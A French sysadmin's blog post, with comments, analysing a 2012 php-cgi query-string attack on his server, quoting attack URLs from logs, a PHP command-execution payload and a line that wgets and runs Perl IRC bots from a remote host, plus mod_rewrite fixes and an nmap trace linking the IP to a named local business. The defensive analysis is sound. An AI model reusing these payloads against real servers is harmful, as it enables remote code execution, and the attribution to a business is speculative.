Exploitation de la faille php-cgi

Récemment a été découverte une faille de sécurité dans PHP. Cette faille consiste à pouvoir passer des options à PHP via l'url d'une page web hébergée sur un serveur avec l'exécution de PHP en CGI.

Afficher/masquer le code
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php-cgi <file> [args...]
  -a               Run interactively
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

L'attaquant peut alors faire ce type de manoeuvre :

http://www.unsite.com/foo.php?-s

Sur un serveur troué, l'exécution de la page permettra de voir le code source du fichier foo.php.

Comment se faire pwned facilement ?

C'est très simple : ne pas faire les correctifs nécessaires (mise à jour de sécurité).

Hier et aujourd'hui, un des serveurs que j'administre à été victime d'une attaque employant la faille de sécurité décrite plus haut. Ce serveur (qui est le seul à utiliser PHP en CGI) est une Debian 6 stable hébergeant un Drupal hacké dans tous les sens et ne fonctionnant que sur PHP 5.2.17. Pour utiliser cette version de PHP sur un Debian 6 stable, le seul vrai moyen est de compiler son PHP et ainsi sortir du processus logique et sécurisé d'installation de logiciels sous Debian.

Que s'est-il passé ?

Le serveur est tombé trois fois en deux jours : les deux premiers plantages étaient hier matin. Le premier crash était du à un out of memory et une surcharge des CPUs. Au reboot, j'ai eu droit à un joli kernel panic qui était certainement du à un fsck qui a retourné un code d'erreur. Ce matin un dernier plantage a eu lieu avec la même erreur que le premier crash.

Sur des graphs système, j'ai remarqué que le premier et le denier plantage avaient un gros point commun : une charge CPU importante (100%) pendant quelques heures.

Le premier réflex a été de regarder les logs apache. Voila ce qui ressortait d'interessant :

Afficher/masquer le code
66.33.206.86 - - [30/May/2012:16:04:36 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n HTTP/1.1" 200 309 "-" "Mozilla/5.0"
127.15.0.123 - - [30/May/2012:16:04:40 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://84.20.17.144/sites/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://84.20.17.144/sites/api.gif%20-n HTTP/1.1" 200 291 "-" "Mozilla/5.0"
127.101.0.36 - - [30/May/2012:16:04:41 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n HTTP/1.1" 200 291 "-" "Mozilla/5.0"
127.95.0.34 - - [30/May/2012:16:04:41 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://216.67.238.249/images/api.gif%20-n HTTP/1.1" 200 309 "-" "Mozilla/5.0"
127.237.0.20 - - [30/May/2012:16:04:44 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://109.68.72.95/icons/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://109.68.72.95/icons/api.gif%20-n HTTP/1.1" 200 309 "-" "Mozilla/5.0"
127.98.0.16 - - [30/May/2012:16:04:44 +0200] "POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://109.68.72.95/icons/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://109.68.72.95/icons/api.gif%20-n HTTP/1.1" 200 291 "-" "Mozilla/5.0"

Il y a des milliers de lignes du genre :)

L'inverstigation n'a pas été très longue et la source du problème était trouvée.

Quelques explications...

Quand on analyse une des url, on repère très vite le principe :

/?-d allow_url_include=On -d auto_prepend_file=http://109.68.72.95/icons/api.gif -n/?-d allow_url_include=On -d auto_prepend_file=http://109.68.72.95/icons/api.gif -n

Avec -d il modifie la configuration de php en :

  • acceptant qu'on puissant inclure des fichiers distants : allow_url_include=On
  • inclus automatiquement le fichier "http://109.68.72.95/icons/api.gif" en défaut de chaque script (auto_prepend_file)

Comme vous vous en doutez, http://109.68.72.95/icons/api.gif n'est pas une vraie image. Voila ce que contient ce fichier (je l'ai indenté) :

Afficher/masquer le code
<?php
echo "<br>Silence is gold.<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
	$res = '';

	if (!empty($cfe)){
		if(function_exists('exec')){
			@exec($cfe,$res);
			$res = join("\n",$res);
		}
		elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		}
		elseif(function_exists('system')){
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		elseif(function_exists('passthru')){
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		elseif(@is_resource($f = @popen($cfe,"r"))){
			$res = "";
			while(!@feof($f)) { $res .= @fread($f,1024); }
			@pclose($f);
		}
	}
	return $res;
}

exit;

Ce script permet d'afficher des informations sur l'utilisateur qui exécute le script (uid, gid la liste des groupes auxquels il appartient) via une fonction qui essayera l'ensemble de méthodes de PHP qui rend ça possible (ça = exécution de commandes linux/unix).

Ce script seul n'est pas bien méchant mais il pourrait l'être si le pirate avait été plus vicieux (altération de données, ajout d'une backdoor, etc.).

Comme le serveur a crashé, il a du faire plus que ça...en fouillant un peu plus, voila sur quoi je suis tombé :

Afficher/masquer le code
127.100.7.79 - - [30/May/2012:16:08:19 +0200] "GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://89.84.190.192/nix/spread.txt%20-n HTTP/1.1" 504 518 "-" "libwww-perl/5.836"
127.227.4.250 - - [30/May/2012:16:08:19 +0200] "GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://89.84.190.192/nix/spread.txt%20-n HTTP/1.1" 504 519 "-" "libwww-perl/5.836"

(il y en a moulte aussi...)

Le type utilise la même méthode mais va chercher un autre fichier : http://89.84.190.192/nix/spread.txt

Voici son contenu :

Afficher/masquer le code
<?php
echo "<br>Silence is gold.<br>";
$cmd="wget http://89.84.190.192/nix/bot.txt -O /tmp/dead; perl /tmp/dead; wget http://89.84.190.192/nix/underworld.txt -O /tmp/beef; perl /tmp/beef; rm -rf /tmp/dead /tmp/beef";
$eseguicmd=ex($cmd);
echo $eseguicmd;

function ex($cfe){
	[...]
}
exit;

Ici le type demande de télécharger deux fichiers placés dans /tmp/dead et /tmp/beef.

  • /tmp/dead (bot.txt) est un bot irc écrit en perl
  • /tmp/beef (underworld.txt) est un script (en perl aussi) qui va de nouveau générer des requêtes en local (127.xx.xx.xx), en loggant des infos chez 89.84.190.192

Sécuriser rapidement le service web

Pour boucher le trou de sécurité, j'ai procédé en 2 étapes :

J'ai bloqué les deux wget que spread.txt faisait :

Afficher/masquer le code
$ su - 
# touch /tmp/dead /tmp/beef

Comme les sites web ne sont pas exécutés avec root, les wget initiés par l'utilisateur unix associé au site manquera de droits.

La second étape a été de rendre impossible l'ajout de paramètre dans l'url.

Afficher/masquer le code
$ su - 
# cat << EOF > /etc/apache2/conf.d/php-cgi-exploit
<IfModule mod_rewrite.c>
	RewriteCond %{QUERY_STRING} ^[^=]*$
	RewriteCond %{QUERY_STRING} %2d|\- [NC]
	RewriteRule .? - [F,L]
</IfModule>
EOF
# service apache2 restart

En principe plus rien n'est possible à présent.

Et ensuite ?

Et ensuite...bah on cherche quel connard a fait ça :) Ici on a pu découvrir plusieurs IP :

  • 89.84.190.192 (l'ip du serveur qui stocke plusieurs fichiers malicieux et les logs du script perl)
  • 216.67.238.249, 84.20.17.144, 109.68.72.95 et plein d'autres qui correspondent des serveurs avec le premier gif quasi useless

Les dernières IP j'en ai presque rien à faire, même si elles méritent d'être analysées. La première IP est pour moi la plus intéressante.

La question a se poser est : est-ce un serveur zombi ou pas ?
Voyons un peu ce qu'il se cache derrière cette IP :

Afficher/masquer le code
$ nmap -sV 89.84.190.192
Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-31 20:11 CEST
Interesting ports on pre68-1-89-84-190-192.dsl.sta.abo.bbox.fr (89.84.190.192):
Not shown: 995 filtered ports
PORT    STATE  SERVICE     VERSION
22/tcp  open   ssh         OpenSSH 5.8p1 Debian 7ubuntu1 (protocol 2.0)
80/tcp  open   http        Apache httpd 2.2.20 ((Ubuntu))
139/tcp open   netbios-ssn Samba smbd 3.X (workgroup: AIRDUTEMPS)
443/tcp closed https
445/tcp open   netbios-ssn Samba smbd 3.X (workgroup: AIRDUTEMPS)
Service Info: OS: Linux

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.34 seconds
  • 1- le mec est français : pre68-1-89-84-190-192.dsl.sta.abo.bbox.fr + AIRDUTEMPS
  • 2- son FAI est Bouygue Telecom
  • 3- il utilise une distribution de merde (désolé fallait que je la fasse) : Ubuntu

Trois services de géolocalisations d'IP m'indiquent que le serveur est sur Colmar (en Alsace). Voila ce qui répond à "AIRDUTEMPS colmar" sur Google : L'Air du Temps - Sérigraphie - 03xxxxxxxx - Colmar.

On a donc un serveur sur Colmar qui permet de faire des attaques de merde et il appartiendrait à un atelier de sérigraphie.

La suite sera de contacter Bouygue Telecom en leur donnant toutes ces informations.


XogoX

Super article ! On voit comment on se fait pwned et aussi comment résoudre la faille. La seule remarque que je peux faire, c'est que la faille a été découverte il y a déjà 1 mois (http://thehackernews.com/2012/05/un-patched-php-cgi-remote-code.html) donc peut-être à ce moment la le correctif aurait été mieux. Mais bon l'essentiel c'est que c'est corrigé :)

Bonne continuation dans la track ! (Enfin je veux dire pour la suite de la track avec Bouygue)

Kadcom

En tout cas le cheminement pour retrouver le hacker/pirate est très intéressant.
Merci pour cet article instructif.

bobby_analog

Excellent article. Did you happen to get a copy of the IRC bot script?

Simon

Bien sûr : http://wall.deblan.fr/xce/perl/1/ :)


Ajouter un commentaire

Vous répondez à un commentaire.

L'email n'est pas affiché. Vous pouvez utiliser un avatar à l'aide de Gravatar.